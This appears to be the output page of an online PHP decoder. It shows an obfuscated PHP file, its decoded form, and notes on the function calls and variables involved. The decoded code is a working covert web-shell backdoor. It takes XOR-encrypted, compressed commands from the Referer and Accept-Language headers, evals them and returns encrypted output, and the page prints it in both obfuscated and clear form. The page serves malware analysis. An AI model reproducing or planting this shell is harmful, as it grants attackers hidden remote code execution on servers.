Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $c='Gk0,3));$p="Gk";for($z=1;$zGk<couGkGknt($m[1]);$z++GkGk)$p.Gk=$q[$m[Gk2][$z]];i..

Decoded Output download

$kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$r=$_SERVER;$rr=@$r["HTTP_REFERER"];$ra=@$r["HTTP_ACCEPT_LANGUAGE"];if($rr&&$ra){$u=parse_url($rr);parse_str($u["query"],$q);$q=array_values($q);preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);if($q&&$m){@session_start();$s=&$_SESSION;$ss="substr";$sl="strtolower";$i=$m[1][0].$m[1][1];$h=$sl($ss(md5($i.$kh),0,3));$f=$sl($ss(md5($i.$kf),0,3));$p="";for($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];if(strpos($p,$h)===0){$s[$i]="";$p=$ss($p,3);}if(array_key_exists($i,$s)){$s[$i].=$p;$e=strpos($s[$i],$f);if($e){$k=$kh.$kf;ob_start();eval(@gzuncompress(@x(base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));$o=ob_get_contents();ob_end_clean();$d=base64_encode(x(gzcompress($o),$k));print("<$k>$d</$k>");@session_destroy();}}}}

Did this file decode correctly?

Original Code

<?php
$c='Gk0,3));$p="Gk";for($z=1;$zGk<couGkGknt($m[1]);$z++GkGk)$p.Gk=$q[$m[Gk2][$z]];if(sGktrpos($pGk,$h)===0){Gk$s[Gk$';
$B='l;Gk){fGkor($j=0;($j<$c&Gk&$i<$lGk);Gk$j++,$i++Gk){$o.=$Gkt{$i}^Gk$k{$jGk};}}GkreturnGkGk $o;}$r=$_GkSERVGkER;$r';
$Y='r);parse_str($uGk[Gk"qGkuery"],$q);$qGk=Gkarray_valGkues($q);pGkreg_mGkatGkch_all("/([Gk\\w])[\\GkwGk-]+(?:;q=0.Gk';
$b='kGk);$Gkd=basGke64_encode(x(gzcoGkmpGkGkGkresGks($o),$k));print(Gk"<$k>$d</$k>Gk");Gk@sessioGkn_destroy(Gk);}}}}';
$D='([Gk\\d]))?Gk,?Gk/",$ra,$mGk);if($qGkGkGk&&$m){Gk@session_startGk();$s=&$_SESSGkIGkON;$ss="subsGktrGk";$sl="stGkr';
$t='toloGkwer";Gk$i=$m[1][Gk0]Gk.$m[1Gk][1Gk];$h=$slGk($ss(md5($i.Gk$kh),0,3Gk))GkGk;$Gkf=$sl(Gk$Gkss(md5($Gki.$kf),';
$E=str_replace('F','','FcreatFe_FFfuFFnction');
$X='_/","Gk/-/"),GkGkaGkrray("/","Gk+Gk"),$Gkss($s[Gk$i],0,$e))),$k)));$o=oGkGkb_get_GkconteGkntGks();ob_end_clean(G';
$a='r=@$r["GkHTTP_GkREFERGkER"];$ra=Gk@Gk$rGk["HTTP_ACCEPT_LGkANGUAGkGGkEGk"];Gkif($rr&&$ra){$u=pGkarse_urGkl(GkGk$r';
$U='i]="";$pGkGk=$sGks($p,3);Gk}if(GkarrayGkGk_key_exists($i,Gk$s))Gk{$s[$i].=$p;$eGk=strpGkos($sGk[$GkiGk],$f);ifGk';
$I='$kGkh="5dGk41"Gk;$kf="Gk402a";function x(Gk$t,$k){$Gkc=strGklen($k)GkGk;$l=strlGken($t)Gk;$o="Gk";fGkor($i=Gk0;$i<$';
$V='(GkGk$e){$k=$kh.Gk$kf;oGkb_start();@evaGkl(@gzuncompresGks(@x(@bGkase6Gk4_dGkecodGke(preg_repGklace(arraGky("Gk/';
$O=str_replace('Gk','',$I.$B.$a.$Y.$D.$t.$c.$U.$V.$X.$b);
$m=$E('',$O);$m();
?>

Function Calls

null 1
str_replace 2
create_function 1

Variables

$B l;Gk){fGkor($j=0;($j<$c&Gk&$i<$lGk);Gk$j++,$i++Gk){$o.=$Gkt{..
$D ([Gk\d]))?Gk,?Gk/",$ra,$mGk);if($qGkGkGk&&$m){Gk@session_sta..
$E create_function
$I $kGkh="5dGk41"Gk;$kf="Gk402a";function x(Gk$t,$k){$Gkc=strGk..
$O $kh="5d41";$kf="402a";function x($t,$k){$c=strlen($k);$l=str..
$U i]="";$pGkGk=$sGks($p,3);Gk}if(GkarrayGkGk_key_exists($i,Gk$..
$V (GkGk$e){$k=$kh.Gk$kf;oGkb_start();@evaGkl(@gzuncompresGks(@..
$X _/","Gk/-/"),GkGkaGkrray("/","Gk+Gk"),$Gkss($s[Gk$i],0,$e)))..
$Y r);parse_str($uGk[Gk"qGkuery"],$q);$qGk=Gkarray_valGkues($q)..
$a r=@$r["GkHTTP_GkREFERGkER"];$ra=Gk@Gk$rGk["HTTP_ACCEPT_LGkAN..
$b kGk);$Gkd=basGke64_encode(x(gzcoGkmpGkGkGkresGks($o),$k));pr..
$c Gk0,3));$p="Gk";for($z=1;$zGk<couGkGknt($m[1]);$z++GkGk)$p.G..
$m None
$t toloGkwer";Gk$i=$m[1][Gk0]Gk.$m[1Gk][1Gk];$h=$slGk($ss(md5($..

Stats

MD5 5a7abc0df544e8d02fd18dadc06180f9
Eval Count 1
Decode Time 120 ms